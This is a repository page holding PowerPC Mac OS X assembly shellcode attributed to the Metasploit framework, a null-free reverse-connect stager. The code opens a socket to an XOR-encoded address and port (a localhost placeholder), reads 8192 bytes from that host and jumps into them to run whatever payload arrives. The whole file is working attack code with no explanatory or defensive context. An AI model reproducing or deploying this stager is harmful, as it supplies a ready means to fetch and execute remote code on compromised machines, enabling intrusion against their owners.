-
Notifications
You must be signed in to change notification settings - Fork 1
/
shellcode-125.c
executable file
·81 lines (66 loc) · 1.99 KB
/
shellcode-125.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
;;
;
; Name: stager_sock_reverse_nf.asm
; Qualities: Null-Free
; Platforms: MacOS X / PPC
; Authors: H D Moore < hdm [at] metasploit.com >
; Version: $Revision: 1.1 $
; License:
;
; This file is part of the Metasploit Exploit Framework
; and is subject to the same licenses and copyrights as
; the rest of this package.
;
; Description:
;
; Connects back, reads 8192 bytes, jumps into payload.
; Socket descriptor is left in r30.
;
;;
.globl _main
.text
_main:
_socket:
li r27, 0x3030 + 97
subi r0, r27, 0x3030 + 97 - 97
subi r3, r27, 0x3030 + 97 - 2
subi r4, r27, 0x3030 + 97 - 1
subi r5, r27, 0x3030 + 97 - 6
.long 0x44ffff02
xor r5, r5, r5
mr r30, r3
_storeaddr:
; port - patch the xor word
li r25, (0x2211^0x4142)
xori r25, r25, 0x4142
subi r29, r27, 0x3030 + 97 - 2
slwi r29, r29, 16
or r29, r29, r25
stw r29, -20(r1)
; addr - patch the xor dword
lis r29, hi16(0x7f000001^0x01020304)
ori r29, r29, lo16(0x7f000001^0x01020304)
lis r28, hi16(0x01020304)
ori r28, r28, lo16(0x01020304)
xor r29, r29, r28
stw r29, -16(r1)
konnect:
la r4, -20(r1)
subi r5, r27, 0x3030 + 97 - 16
subi r0, r27, 0x3030 + 97 - 98
mr r3, r30
.long 0x44ffff02
xor r5, r5, r5
reader:
li r29, 0x3330
srawi r29, r29, 12
subi r0, r27, 0x3030 + 97 - 3
mr r3, r30
subi r4, r1, 8192+44
li r5, 8192+44
mtctr r4
.long 0x44ffff02
xor r5, r5, r5
xor. r5, r5, r5
blectr
xor r5, r5, r5